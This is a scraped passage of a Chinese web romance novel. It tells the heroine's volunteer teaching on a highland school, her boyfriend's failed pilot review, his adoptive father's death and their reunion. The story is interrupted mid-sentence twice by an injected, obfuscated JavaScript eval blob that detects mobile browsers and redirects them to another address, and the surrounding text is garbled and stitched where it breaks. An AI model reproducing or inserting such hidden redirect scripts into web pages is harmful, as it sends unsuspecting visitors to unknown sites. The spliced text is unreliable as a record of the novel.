太玄幻了,世界之大无奇不有,他要是今天不说,窦维觉得自己永远不可能把姜至李惟钧这两个人联系在一起,足足缓了半天才消化掉这个消息。 “谈多久了?”他问。 “126天。”李惟钧说。 “你记得还真清楚……”窦维吓了一跳,“她来西途玩啊?你俩怎么好上的?” 李惟钧选择性回答了前一个问题:“来支教。” “多久啊?等她支完教还得回清潭吧。”窦维问:“你跟她一块儿回?” 李惟钧没吭声。 窦维又问:“还是她留在这儿?” 李惟钧说:“看她吧。” “不是吧,”窦维又被他吓住了,“她走你走,她留你留?那基地呢?公司和民宿呢?我没看出来啊李惟钧,你居然有恋爱脑的潜质。” 最后那句让李惟钧莫名笑了,“没办法啊,谁让我喜欢她呢。” “……好恶心,你别笑了。” 李惟钧敛起笑,正色道:“以后的事情谁也说不准,先过好现在吧。” “我不信。”窦维撇撇嘴,“你俩这才谈了多长时间。” 李惟钧的眼神很柔和,“但是我喜欢她的时间很长了。” 窦维还没问话,姜至换好衣服从办公室出来,她在屋里化了个淡妆,抬眼,刚要找李惟钧,就看见他旁边坐了个男人,五官硬朗,跟他身形差不多,气质上比他多了几分凌厉。 李惟钧走过去,“收拾好了?” “窦维?”姜至拽住他的手臂,悄声问:“那是咱们高中同学吗?” …… 跳过伞,三个人到附近找了个餐厅一起吃饭,窦维军校毕业后一直在部队待着,假期不多,所以也没回清潭参加过同学聚会,姜至跟他也不算太熟悉,她跟班里的男生大多都是泛泛之交,如果不是李惟钧,她大概都不会有和窦维在一张饭桌上说话的机会。 趁李惟钧去吧台拿饮料,窦维八卦道:“我是真没想过你俩能在一块儿,都是缘分啊!” 姜至含笑望着李惟钧的背影,“我也没想到,他高中是有点话少。” “何止是话少,”窦维说:“除了下课打球能多聊几句以外,平时我们在教室都没怎么聊过天,跟他坐同桌可给我憋死了!他除了做题就是做题,我也不好意思打搅他。” 姜至忍不住笑。 “真的,高三招飞我跟他才熟起来,咱们班不是只有我们俩体检过关了吗。” 说到这儿,姜至才想起来这件事,“那是怎么回事?他最后不是没当上飞行员吗。” “挺复杂的,”窦维说:“他是政审的时候被刷了。” 看见姜至表情怔住,窦维的心咯噔一跳,“你不知道啊……” 姜至不知道。 除了窦维和班主任以外,班里没人知道李惟钧为什么没当飞行员。 * 2012年11月,李惟钧和姜至开始读高三,清潭也开启了招飞计划。 空军招飞尤为难得,对于李惟钧来说,这更是一个不可多得的机会,当飞行员上军校就意味着他可以给李承良减轻一些压力和负担。 多亏了小时候经常给李承良干活,所以李惟钧的体力在高中生里还算不错,身体素质也很好,过年之前顺利通过了体检,整个高三最终只有4个人进到复试。大家都说过了体检就稳了,后面绝对会很顺利。 班里同学非常羡慕,谁愿意每天起早贪黑考试刷题呢?六点钟的清潭实在是看烦了,起得比鸡早的日子也实在是过够了。 寒假过后,2013年1月,李惟钧着手准备复试,班主任特意准了他和窦维的假,他们俩不用上课,经常在所有学生艳羡的目光里自由出入学校整理政审材料。 交完材料后有一个月的审核时间,窦维彻底放飞自我了,十分清闲,李惟钧却没有。 他照旧坐在教室里刷题,认真程度甚至要超过招飞之前。 窦维很不理解,经常磨着李惟钧想让他一块去打球,说破了嘴皮子,他依然头也不抬,偶然间抬眼,也只是不经意从前排姜至的位置上掠过去。 她没停笔,他也接着低下头。 题目看上去很复杂,却并不难解,他的解题思路很清晰,脑子里却是混乱的。 当飞行员上军校不止意味着帮李承良减轻压力,也意味着失去自由的时间,失去他喜欢的,外面的一切。 李惟钧还记得交完政审材料之后的某一天,他从家赶回学校,进校门时正好碰上姜至返校,几天没见,她似乎清瘦了一圈,脸色略苍白。 两个人一同进校门,姜至打了个长长的哈欠,“你怎么还来学校啊?不是都要进部队了吗?” 照理说是不用来了,安心等结果就好,班主任也说可以暂时不用来学校,李惟钧说:“还没政审呢,得来。” “哎,你跟窦维也太幸福了,后面不用在学校受煎熬。” 李惟钧盯着她手背上的棉絮:“你病了?” 她点点头,“发烧了。” “还没好透吧,”李惟钧说:“怎么不多休几天呢?” “怎么能?老班说多做一道题就能多拿一分干掉一万人呢。” 李惟钧想到了很多话,但似乎说什么都不太合适,只好说:“加油。” “你也是啊,”姜至顿了顿,“哦不对,应该是恭喜。” 她笑笑:“提前恭喜你了!” 李惟钧也浅笑着,“谢谢。” 到最后,想问的问题也没有问出口,怎么不问问姜至要去哪所大学呢? 李惟钧不知道。 3月,草长莺飞,渐渐有男生穿短袖了,但能看得出大家都很疲倦,也很浮躁,老师们反复强调坚持坚持再坚持,熬过这段时间高考结束,未来就自由了。 招飞也已经到了定选阶段,过了定选,他两只脚就可以稳稳当当踏进军校大门。 然而,李惟钧左等右等,等到所有人的定选都尘埃落定,才等来了属于自己的结果—— 政审没通过。 他忘记了,李承良曾经坐过牢,虽然是被坑进去的,也很快被捞了出来,但还是留下了无法抹去的污点。 乐极生悲,李惟钧也不知道该作何反应,只是压着眉眼坐在那里,一动不动。 或许该难受,又或许该遗憾吧,到手的好机会就这样从指缝里溜走了,并且没有任何办法挽留,父亲有案底所以以后他再也没办法从事那些行业,可他怨不了李承良,也不能怨。 部队政审人员也很遗憾,李惟钧综合素质非常好,但这改变不了什么。 李承良苍老干裂的双手攥起来,苦着脸问:“真的不能再通融通融吗?他是他我是我,我犯的错怎么能归到他身上呢。” “这个真没办法……”他们面带怜惜,看向李惟钧:“同学,离高考还有一段时间呢,别气馁,你成绩这么好,人生肯定不止这一条路可以走。” 李惟钧沉默着点点头,最后,政审人员正欲离开,李承良才颤着声叫住他们,看着李惟钧,叹了口气,咬牙说:“他不是我的儿子。” 所有人都怔在原地。 李惟钧不可置信地望着他,他眼眶红着,脸色颓唐,“你五岁的时候我捡到的你,你不是我的亲儿子。” 李承良本来没打算这个时候说,十几年来也没跟任何人提过这件事,甚至也想过一直隐瞒下去,直到他死。但现在实在没办法了,孩子前途最重要,于是转头问他们:“他不是我亲生的,政审能过吗?” 震惊过后,他们还是摇头,用一种“可怜”的目光看着父子俩,说:“你们俩现在在一个户口本,关系是父子,这个改变不了,而且就算是养父,也不行的……” 他语无伦次地说:“我跟他解除关系,把他送走,就当他没我这个爸,从没见过我也不行?” 李惟钧拽着他,喊了声:“爸。” 小时候的记忆李惟钧已经记不起来什么了,这些年脑海里偶尔会闪回自己被人追着跑的画面,不过他从没在意过,也以为那只是梦。 一阵冷寂过后,李承良点了根烟,盯着地面,“我想着等你高中毕了业再说的……是我害了你。” 太阳穴突突跳着,脑袋很乱,像是要裂开,李惟钧感到一阵头晕目眩,跪在他面前,沉声说:“你养我长大,就是我亲爸。” 他扶起李惟钧,拍拍他膝盖上的土,“捡到你的时候你浑身都是伤,我报了警,但你醒过来之后什么都忘了,身上也没线索,我就养了你。你还有自己的亲生父母,该去找找他们,认祖归宗,没准儿就能接着去当飞行员了。” 李惟钧无力地摇了下头,眼神迷茫,“我没想过要走。” 能往哪里走呢?他还没有十八岁啊。 中国这么大,该怎么找?李承良给了他一条命,一块块25公斤的玻璃已经压弯了他的背脊,他省吃俭用养他长大,就是他的亲生父亲。 李惟钧低下头,眼睛突然很酸涩,闭了闭眼,脸颊落下两道热热的泪,“爸,我一辈子都是你儿子,以后我在你身边给你养老。当不了兵我还可以干别的,无论干什么,我一定会混出名堂。” “那你亲生父母呢,没准他们也在找你。” “我不知道,爸,等我有能力了会去找的。” 定选失败后,李惟钧收起了所有不甘和落寞,把全部心思都放在高考上,再回到学校,拿起试卷,他甚至隐隐有些庆幸。 庆幸是姜至的认真在谁也想不到的地方帮了他一把,庆幸是那点无人知晓的感情救了自己一次,命运或许早已暗示了他的招飞结局,所以派来姜至暗中帮他,让他不要荒废学业,好好做题。 好在他没有落下太多试卷,做题时手也不生,再一次模考过后,原来的位置还是他的。 就这样,高中剩下的每天都在刷题背书中度过,三个月后,高考如约而至。 考试前,很多学生都回家了,李承良也本想到市里订个宾馆,考前照顾照顾李惟钧,但班主任说这两天学校食堂的饭都是校长找营养师搭配的,而且在学校有校车接送,还是在学校比较方便,就没过来,两个人通了次电话,电话里,李承良说:“我找厂里人借一辆车,等你考完去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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信纸被揉成皱巴巴得一团扔进书包,他又抽出一张新的,缓了缓神,重新写“姜至:”。 之前预想好的话还是忘了,李惟钧只能遵从本心,想到什么就写什么,然后小心翼翼把两张信纸折起来,放进信封里。 姜至在跟班长说笑,两个人正激烈地讨论着什么,应该是在说毕业旅行吧,她们约好了一起去玩,还约好了许多在正式迈入成人世界之前要做的事。 心里有道强烈的声音在驱使他:现在去送吧!马上! 心口剧烈的跳动让李惟钧长长吐了几口气,身体里所有细胞都在叫嚣着要他说出来,把所有心思说给她听,他一定要给自己的青春写下一个完美的结局,也要在姜至的青春结束前占据哪怕几分钟的记忆,片刻也行。他一定要递出那封信,痛快诚恳地告诉她: 姜至,我喜欢你。 李惟钧站起身,心如擂鼓,缓缓朝姜至走过去,十几年的人生中从未拥有过如此紧张的情绪,猛烈的悸动感快要把他整个人吞没了。 看着姜至的侧脸,李惟钧想,他不是一个幸运的人,从小被拐卖,后来磕磕绊绊长大,又经历了招飞失败,很少拥有过什么幸运时刻,2010 年见到姜至第一面的盛夏算一次,他希望能再被命运眷顾一次,迎来第二个幸运的盛夏。 但他还是没能把信送出去。 站在门口的班主任面色凝重地朝他招招手,信被揣进口袋,李惟钧走过去,浑浑噩噩听完了她那句话,浑浑噩噩坐上了去医院的公交,浑浑噩噩见到了李承良最后一面。 命运没有眷顾他。 李承良在来的路上出了车祸,秋谷已经开始下大雨了,盘山公路上,两辆车迎面相撞,驾龄二十年的李承良没能躲过去,后备箱满满两箱红彤彤的,给儿子吃的苹果在盘山公路上洒了一地,一个都没有给他留下。 暴雨过后,清潭变得风和日丽,李惟钧体面风光地送走了李承良,把所有东西都挪到爷爷在村里留下的那间老房子里,然后独自坐在空荡荡的堂屋,擦李承良的遗像。 遗像上的照片很年轻,是从身份证上抠下来的。 擦着擦着,光洁的玻璃上落下泪滴,李惟钧把照片抱在胸前,弓起身体跪在地上,磕了三个响头。 父子一场,到最后他们却没有一张合照。他该拿什么来想念这个伟大的父亲呢? 料理完所有后事,李惟钧把自己放空了很多天,每天都躺在屋里狭小的床上,感觉不到渴也感觉不到饿,浓烈的睡意让他过得昏昏沉沉,不知道自己接下来要干什么,没有去学校拿个人档案参加最后一次班会课,更没有参加谢师宴。 几天后,他接到班主任的电话,终于走出屋子见到了耀眼的太阳,剪掉积蓄起来的胡子,把自己收拾干净,吃了两口饭,去学校领了档案。 填领取单时,他的名字紧挨着姜至,就在她下面,李惟钧的手顿住,晃了晃神,她现在应该正在某个地方和朋友一块儿旅游吧,他盯着姜至娟秀的字,似乎还能在眼前刻画出她明媚的笑脸。 他想到那封没有被送出去的情书。 把宿舍里的行李都收拾好,李惟钧回了村,从校服裤子里翻出那封情书。许多天过去,这封信泡过雨水,已经变得皱皱巴巴了,难看得很。 喉咙一紧,李惟钧把刚才垫肚子的食物全吐了出来,紧跟着,胃里拧着攥着,火辣辣的疼,接连几天的饥饿过后,他很难再消化什么东西了。 就这样吧。 他额际冒出冷汗,擦掉眼中溢出的生理性泪水,喘着粗气看向地上那封被弄脏的信,脑海里重复盘旋着那句话,就这样吧。 2013年6月底,李惟钧到网吧填高考志愿,填好之后,鬼使神差地登上了Q.Q,打开空间。 满屏都是大家出门旅游聚餐的照片,他一目十行地滑下去,看到姜至发了一张二维码,写着:【加微加微!以后Q.Q不用啦!也该用点儿大人该用的成熟软件了!】 才刚十八,怎么就变大人了呢?李惟钧短促地笑了下,这么多天后这是他第一次在某个瞬间感到开心。 他没有注册微信,最后看了遍姜至的空间,关掉Q.Q,登上了去往西京的火车。 自此,头像便再也没有亮过,也与过去的一切断了联系。 火车飞逝,一中标志性的石英钟在眼前一闪而过,李惟钧突然又想起李承良,想起姜至,想起被他丢到垃圾桶里的情书,感觉全身都痛,心脏好像被撕扯成两半,快要窒息死掉了。怎么会这么疼呢? 他的青春不该是这样的结局啊!他觉得自己快要承受不住了,捂着脸,在极致的痛楚中泪如雨下。 盛夏刚刚降临在他的世界,短暂几天,就轰然闭幕了。 后面几年,他再没有过过任何一个夏天,直到2018年的2月14号,那个寒冬,姜至拉着行李箱,来到盛夏将至。 29.盛夏将至(7) 盛夏将至(7) 国庆假期前的最后一个工作周周一,姜至被李惟钧拉着双手从床上拽起来。 她皱着嘴巴,“我再睡五分钟。” 李惟钧无奈,“五分钟前你就是这么说的,再不起床开早会就要迟到了。” 姜至挣扎着睁开眼睛,李惟钧直接把人抱到卫生间,挤好牙膏递给她,又从外面把鞋拿进来,握着脚腕一只一只给她穿上。 穿好鞋站在地上,刷着刷着牙,姜至忽然笑了。 “怎么了?”李惟钧弯唇,从镜子里和她对视。 姜至吐掉牙膏沫,口腔里都是凉飕飕的薄荷味,转身,环住他的脖颈,“我都要退化了。” 李惟钧抱着她的腰,垂眸,“这不是挺好的?” “好什么?”姜至埋进他胸前,磨磨蹭蹭地讲:“懒死了,在学校的时候自己都不愿意下地去洗漱。” 一边说,姜至的指尖一边在他胸膛抚弄着,李惟钧被挠的心痒,但没有阻止,慢慢听她控诉他:“我是不是好黏人?但你一点好像都不黏我。” 李惟钧好理智,虽然理智些是没错,但姜至还是有点小矫情了,谈恋爱干嘛要那么理智呢? 然而,李惟钧却在想,他还不够黏人吗? 昨天窦维问的问题又出现了,等姜至支教结束回清潭,他要干什么呢? 如果可以的话,他希望姜至一辈子留在他身边。 李惟钧弯下腰,“今天能请假吗?” 姜至“嗯”了声,疑问语气。 腰上的手臂收紧,姜至再次体会到了那种让她喘不上气的力道,李惟钧的吻印上来,而后,蹲下身,捉住她的睡裙角缓缓向上推,白生生的腿暴露在微凉的空气里,很快,他灼热的呼吸凑上来,“能请假就别去了。” 姜至不敢矫情了,按住他的手背。 李惟钧抬眼,目光变得幽深,在她腿上吻了下,“不想?” 今天早会很重要,姜至很庆幸没让李惟钧过多展示他的黏人程度,但尽管如此,到会议室还是收到了很多人的注目礼。 校长拿到了这次考试成绩,全校总成绩在全县排第3,从学科成绩来看,英语是最差劲的,排名第6,不过全县的小学英语水平普遍不高,就算是第1名的学校跟城市里的小学差了也不是一星半点。 谷黎小学在编的英语老师不多,基本都分给毕业班了,剩下的年级只能让支教老师来教。分析完成绩,校长特意在会上叮嘱几位英语老师,要把教学再抓得严一点。 焦雨彤撇撇嘴,她已经很严格了,但再怎么严格也就是那样了,因为这些学生的基础没打好,无论怎么教也是半瓶子晃。 不过她没多话,多一事不如少一事,她已经迫不及待做完一年的支教任务回清潭了,对这个地方实在没什么浓厚的感情。 就在上个星期,她穿了件非常漂亮的粉色外套来上课,这件外套她从预售就开始等,快一个月才拿到手,结果穿了还没一天就脏了,后背被甩了很多笔墨,不知道是哪个学生弄的,也不知道那个学生是有意还是无意,果然是穷山恶水出刁民,她只能自己吃这个哑巴亏,气得在办公室里哭。 有人说,当老师最好不要穿得太漂亮,她当时气不过,怼回去说:“来支教就不能穿好看衣服了吗?老师连让自己变漂亮的权力都没有?” 随后又看姜至,说:“姜老师每天都穿好看的衣服化好看的妆,为什么她遇不到这种事呢!” 姜至本想劝劝,一听这话,也就没了念头,办公室也没人再说话。 她知道自己也没多么高尚,比不了那些扎根在这里的乡村教师,但她对这个地方是有敬畏的,无论怎么样,都会尊重这里的一切。 * 周一最累,姜至要连上三节语文课,最后一节上完,许多学生追着她去了办公室,卓玛挤进来问:“姜老师,你生病了吗?” “没有啊。”姜至笑着摇摇头。 卓玛抬手,拳头张开,手心里放了一颗糖,“吃糖呀,上课的时候你清了好几次嗓子。” 是一颗软糖,糖纸上还残留着她手心的温度,她说:“这是我爸爸带回来的,很好吃哦,有夹心的。” 姜至摸了摸卓玛的脑袋,眼底动容,“谢谢你!” 她的心也变成了一颗甜甜的软糖,在几个月前她还在想,来这里支教能带给这些孩子什么,但没想到几个月后,她才是收获最多的。 她的办公桌上从来没缺过小零食,都是学生们自己舍不得吃的,教师节还收到了学生送的贺卡和手工千纸鹤,纸星星,甚至还有纸玫瑰。拆开之后,纸上是写了字的,满满都是对她的夸赞和祝福,她在这里得到了很多干净纯粹的爱意,甚至夸张点来说,她给出一滴水,他们会还给她一汪清泉。 这里的孩子太缺爱了。 罗珠把家里的风干牦牛肉带到学校里,小手抓了一捧递给她:“姜老师,你尝尝。” 之前和李惟钧在西途玩的时候吃过一次,然后拉了好几天肚子,她有点适应不了这种牛肉,不过还是没有拂了罗珠的好意,道了句谢,想了想,从办公桌下把李惟钧给她带来的苹果拿出来,“一起吃点苹果吧,这个是我家乡的特产哦,很好吃。” 办公室弥漫着一股清甜的苹果香,姜至把苹果分给大家,“不用不好意思,这是我给你们的回礼呀。” “老师,你的家乡是哪里?” “我是清潭人。” 有个叫嘉措的男生问:“清潭有海吗?” “有啊,清潭在海边呢。” 嘉措说:“太好了吧,我特别想去看海,我的名字就有大海的意思,像大海一样宽宏大量。” 其他人附和:“我也是!” 还有人说:“电视上可以看见海,电视上还有很多很多好东西,我的愿望就是吃一个小番茄,在这边从来没有见到过,只能在电视里看见。” 姜至哑了口,在相册翻了翻照片。 她很少拍清潭的景色,尽管生活了二十几年也觉得没什么可拍的,没想到她的不在乎是这里的孩子们梦寐以求的事,找了半天,才勉强找出一张大学社团在海边团建的照片,“你们看,这里就是清潭。” 孩子们挤在手机前:“好漂亮!” “是的,清潭是个很漂亮的地方,我从小到大都在这儿上学。” 罗珠说:“老师,那我以后也要去考清潭的学校。” “好呀,但是还有很多学校比清潭要好,你都可以选择。” 小姑娘摇了摇头:“我就要考这个大学!因为有你在。” 姜至愣了下,拍拍罗珠的肩膀,“没关系的,以后你考上哪个大学老师都会去看你。” “真的吗?”她展颜笑了,小心翼翼地问。 卓玛说:“那我的愿望也是去清潭上大学!” 姜至心头一动,被她们的眼神触动到,心酸了一瞬,十分肯定地说:“当然!但是你要好好学习,争取考上好初中好高中哦。” 看着学生们乌黑明亮的眼睛,姜至的嘴角抿出一抹笑,也没想到自己会有这么大魅力啊,不过能给他们点力量,让他们对未来有点憧憬也是好事。 “放心吧姜老师,我们一定会考上好初中的!” 一双双期待的眼神让姜至招架不住了,他们还是怕她走的,上一个周老师也说过类似的话,但还是走了,她有点难受,说:“好啊,我一定会把你们好好送进初中!” 她收起手机,轻拍了下桌子,“好啦,都先回教室吧!我们玩个游戏。” 她让学生们把自己的愿望和理想写在纸上,然后叠成纸飞机向空中抛,说:抛得越高越远,梦想就能高高实现。 这样一个小活动让学生们都嗨起来了,他们的快乐非常简单,在她眼里很无趣的小事在他们眼里足够快乐很多天。 姜至想,幸好她从四年级开始带班,完全足够送他们毕业。 那么,送走这一届学生,她又该去什么地方呢? 姜至成功开始发愁了。 …… 那些纸飞机姜至一个不落全收了起来,男孩子们写下的愿望大多是当警察或军人,女孩子们就丰富多了,看完之后,她在班里留了一篇命题作文:我的愿望。 经过几次考试她发现学生的作文写得太差劲了,必须得多练。国庆假期有七天,写作文的时间完全足够,老师们虽然有假期,但还得备课教研,国庆之后有一笔贫困补助发下来,所以还得和校长一起去家访,算一算也就五天假。 任丽娟提前打了电话问她放假回不回家,姜至支支吾吾略显犹豫,最近才得知方其澜怀孕了,不过因为她工作强度太大,平时又是跑又是跳,是个铁人也熬不住,这段时间一直在医院保胎,所以她想去看看方其澜,又想和李惟钧在一起,还想回家和爸妈在一起。 要是人会分身就好了。 姜至不得不再次思考那个让她发愁的问题。 异地吗? 但这并不是一时半会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346508|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的状态,她在清潭有家有亲人,而李惟钧在西途也有事业有亲人,这些东西对他来说来之不易,他不能轻易放弃这边的所有,她也不忍心让他放弃,所以他们的异地注定是长期的。 她是真心喜欢李惟钧,在她身边很少有人在异地的情况下还能好好维持感情,距离上的相隔可以让很多事变质,也可以很轻易地冲淡原本深厚的感情,显而易见,她并不想让距离成为阻碍他们关系的原因。 可距离就是即将要对他们关系产生阻碍的一个悬崖,明明那个悬崖离现在还有很长的路要走,但姜至却无法避开,明知道会掉下去,但只能眼睁睁地往前走,因为她暂时没有别的路能选。 姜至明白,自己如果要走李惟钧是不会留她的,当然,他说过他不会变,她也相信他不会变,但正因为他足够理智,姜至才不希望在这段感情中全部由他来付出。 那么如果她留下呢?姜至不敢想任丽娟会是什么反应,她本来就不同意她来西途,是因为拗不过她的倔脾气才选择妥协,在这种关乎人生的选择上,她预感任丽娟会非常强硬。 姜至苦恼地合上眼,来支教之前以为这只是人生中的一次选修,却没想到是必修。 很快,放假了。 宿舍楼里吵吵嚷嚷,每个人,包括老师们的脸上都洋溢着迎接假期的愉悦,唯独姜至,看上去淡淡的,李惟钧到学校接她,看见她第一眼就觉得她不对劲,不过去看方其澜的时候人倒是挺开心,还调侃他当舅舅了,过年得准备厚厚的红包给宝宝了。 然而,一到民宿,情绪又down了下来,一个劲儿盯着手机发呆。 临睡前,李惟钧调侃地问了她一句:“要在楼上开间房吗?” 姜至斜了他一眼,十分霸道的在他床上躺成一个大字,“要去你去!” 都秋天了还穿着睡裙,也不嫌冷,李惟钧笑着拽住被子角抖了抖,“压到被子了。” 姜至不动。 李惟钧一使劲儿,被子被抽出来,姜至在床上翻了个,睡裙卷到了大腿中央,他把人裹住,然后自己也躺进去。 吊灯关上了,屋里只开了一盏白色的小夜灯,怀里的人呼吸渐渐平稳,但李惟钧知道她没睡着,也明白她情绪为什么突然低落,“至至,回清潭的票订了吗?” 姜至的呼吸放浅,在黑暗中仰头看着他,他安抚似的拍着她的肩膀,“没订的话我来订,我们一起回清潭。” 他说完,姜至往他怀里扎了扎,闷声道:“你怎么知道的?” “你有一个习惯。” “什么习惯?” “不高兴的时候会把情绪写在脸上。” 姜至笑了,“你还挺了解我。” “嗯,我比你想象中要了解你。” 她忽然挺骄傲,“你在我身上花了挺多心思吧。” 花的心思可不少,李惟钧无声弯唇,“嗯,摸透你的小脾气可不简单。” “啊?我是什么容易发脾气的人吗?” 看吧,又胡搅蛮缠了,李惟钧纠正她:“小脾气和脾气不一样。” 姜至还要发作,李惟钧按住她,偏头亲了亲她发顶,“我比你想象中要喜欢你。” 姜至因这句话僵了一下,心也软了,不愿打搅此刻的温馨,再也问不出别的话了。 她闭上眼,指尖在他手臂上滑动,摸到一条凹凸不平的疤,好奇道:“好长,这是怎么弄的?” “逃跑的时候划的。” 姜至默了默,指腹在那道长长的疤痕上刮蹭着,“还有伤口吗?” “在这里,”李惟钧牵着她的手放在右腹上,“这里我有点印象,应该是他们打的。” 支起身子,姜至把手探进去,这道疤也不小,比手臂上那道疤要粗很多,她想象不出一个五岁的孩子怎么忍住这种皮肤撕裂的疼,越想越心疼,低头,在他手臂的疤上亲了下,而后来到右腹。 衣角被掀起来,李惟钧仰躺着,首先感到的是一阵痒,是姜至的发梢落了上来,他的喉结滚了滚。 随后是她轻浅的呼吸,紧跟着是她柔软温热的嘴唇。 李惟钧腹部瞬间热了,块垒分明的肌肉紧绷着。 姜至认真地亲吻着那道疤,像是在虔诚地替他赶走一切苦难,却没意识到李惟钧的呼吸在起伏。 强烈的原始的冲动在身体里汹涌,本想耐着性子等她亲完,但发现这已经是极限了,再也等不了一刻,他沉沉喘着粗气,第一次拒绝了她的吻,“至至,别亲了?” 30.盛夏将至(8) 盛夏将至(8) 第二天早上,姜至和李惟钧启程回清潭。 落地是下午两点,中午姜至忍着没吃飞机餐,就等着落地后和乔映谣见面,乔映谣还特意赶到机场来接了趟机,说白了就是想看看某人男朋友。 然而,来了就后悔。 单身贵族不太适合出现在情侣身边,尤其是不太适合出现在这对情侣身边,虽然他俩也没有刻意秀恩爱,就很普通地牵着手,但乔映谣居然不知道姜至还有这么嗲的时候,也从没见她这样跟男人撒过娇。 这谁顶得住啊?她一女的都顶不住。 李惟钧真是好福气。 这个木头疙瘩还有这么温柔的一面呢? 这个问题乔映谣也诚实地向姜至表达了,姜至却问:“哪里木了?” “……我说高中,你不要情人眼里出西施好吧。” “那会儿是有点话少。” “我真想象不出他是怎么追你的,感觉他现在跟高中简直判若两人啊。” 姜至能明白李惟钧高中为什么如此沉默,打了个哈哈:“人都是会变的嘛。” “这倒是真的,”她撞了下姜至肩膀,揶揄道:“也不知道是谁刚开始的时候那么正经地跟我说,我们可没有那种关系!” 姜至撇过头,忍不住笑了。 乔映谣的目光往李惟钧那边点了点,“周昱然说要叫几个高中的朋友见一面呢,他去吗?他好像从来没参加过这种聚会吧。” “是没有,他一直住的比较远嘛。我问问吧。”姜至说。 “对了,他怎么跑那么远到西途去上班了?还开了家民宿。” 姜至简短地说:“他爸妈都是西途人,他姐姐也在西途。” “这样啊,我还以为他爸爸是咱们这儿的人呢,”乔映谣试探地问了句:“那他以后就常居西途?” 双唇抿了抿,姜至的眼底闪过一丝迷茫,“应该是吧。” 乔映谣忽然噤声,很快转移了话题。 后面几天,姜至一直在家陪父母,李惟钧也回了趟秋谷老家,一直到返程那天两个人才碰头。 从家里出发前,姜如峰传授了许多当老师的经验给她,既然阻止不了她去支教,那干脆就让她轻松一点,姜至觉得他有点多心了,他从前教高中物理,接触的都是青春期的学生,难免会遇到很多难以调解的事,但是谷黎就不一样了,全都是小学生,心思也单纯,上课步入正轨以后偶尔有些棘手的事也是关于教学的。 但是,话不能说太早,一个地方有一个地方的情况。放假回来,姜至就接到通知,罗珠生重病请了长假,归期不定。 和校长去贫困生家里家访时他们去过罗珠家,其实这里的贫困生情况大差不差,绝大多数家长是牧民,汉语说得比较差,60岁以上的人几乎就不会说汉语,就算是在谷黎小学,一些年纪比较大的老师也说不好汉语。 有很多家长没上过学,觉得上学没用,还不如在家放牛,有一点点想让孩子辍学的想法,1班的南杰才让自己也说过,他将来不上学会去当喇嘛。 姜至很怕他们这么小就辍学,他们将来总得有自主选择更好的人生的权力,目前学校有很多人资助,学生们的学杂费不用自己掏,一年就交个200块的饭钱,对于他们来说上学可能是一件最幸福的事了。 但义务教育结束,到了高中,很多家庭就承担不起学杂费和饭钱了,罗珠可能就是其中一家。 罗珠的父亲去世了,姥姥姥爷养她长大,校长说他知道罗珠生病后曾去过她家里,但罗珠姥姥只是简单在村里找了个医生开了几副药,还找了一个大师让她每天磕200个长头,说坚持下去病就能好。 闻言,姜至大受震撼,半天没说话,校长只说:“村里的老人都很相信信仰。” 虽然这么说有些冒犯,但姜至还是一吐为快,“信仰又不能救命,有病就该去治啊。” 于是又回到了原本的问题,没钱。 “罗珠妈妈呢?不是出去打工了吗?” 校长叹口气,“多少年都没回来了。” 姜至心里拧了下,怪不得平时罗珠总是一下课就往她身边跑,粘着她问东问西,有时候她夸她一句好棒她都能咧着嘴笑一整天。 其实不止是罗珠,学校里很多女孩子都是这样,有些甚至更严重。 当地团委组织过支教老师给学生开爱心生日会,他们准备了很多文具做礼物,当时有个六年级的女生来了例假却不知道那是什么,以为自己要死了,哭得上气不接下气,她给她卫生巾她都不知道怎么用,这里的女生很多都没有母亲陪伴,老师也不会讲这些事,她们对于正常的身体变化和生理变化知之甚少,也不会自我保护。 姜至犹豫了很久,不知道这样做对不对,应不应该,自己又能承担什么地步,情况如此的女学生有很多,她知道自己容易心软,如果下次再碰到这种事,不敢保证自己坐视不管,她没那么大的能力帮所有人,但真的做不到眼睁睁看着罗珠被耽误,下定决心说: “我资助她看病。” 该轮到校长震惊了,显而易见,他没料到姜至会这样说,心里有些复杂。还真是应了那句话,人不可貌相,看着她长得娇里娇气的,没想到却是最踏实的一个,“我会组织学校老师给她捐款的。” 这回过去了,那以后呢,姜至摇摇头,想起罗珠那张肉乎乎的小圆脸,每次她看向自己时,那张脸上总是挂着腼腆的笑,“这个学生我会帮的,到她上大学,我一直会帮。” 短暂的沉默后,校长郑重地点了下头,“那我就先替她谢谢你,等下次去家访我把这件事告诉她们。” 姜至说:“先别告诉她是我了,她还小呢,又是我班的学生。” 校长扬起一个暖融融的笑,“也对,也对。” 有了资助的医药费,罗珠顺利康复,姜至再见到她时她已经恢复了生龙活虎的模样,返校后很多人都围在她身边问她这段时间怎么没来学校,还有学生给了她几个小番茄,“这是姜老师给我们的,因为我们期中语文考得很好,我给你留了几个!” 姜至看得眼热,把她的小手包住,“你吃,我给她留了。” 周五放学要开家长会,所有学生都要在大会议室里待着,校长怕低年级的学生坐不住,特意准备了一些水果零食在桌上,姜至把小番茄洗净,放在学生面前,叮嘱罗珠不要一下子吃太多,然后又回到教室。 班主任请了事假,她得临时顶上,散会送走学生后,带着一摞家长填的综合评价手册上了李惟钧的车。 姜至需要在每一份手册的教师评价上写评语,她大致翻了翻,忽然有点感慨:“这些学生的家长写留言好认真啊。咱们上高中的时候也发过类似的成绩单,上面有家长建议区,但没有家长会写,基本都是签个字就完了。” 李惟钧往她的手册上瞟了眼,看到那些方方正正的字,想起来李承良,“也有的。” 姜至带着疑问的语气“嗯”了声。 “也有家长在建议区写评语。”李惟钧说:“我爸每次都写。” 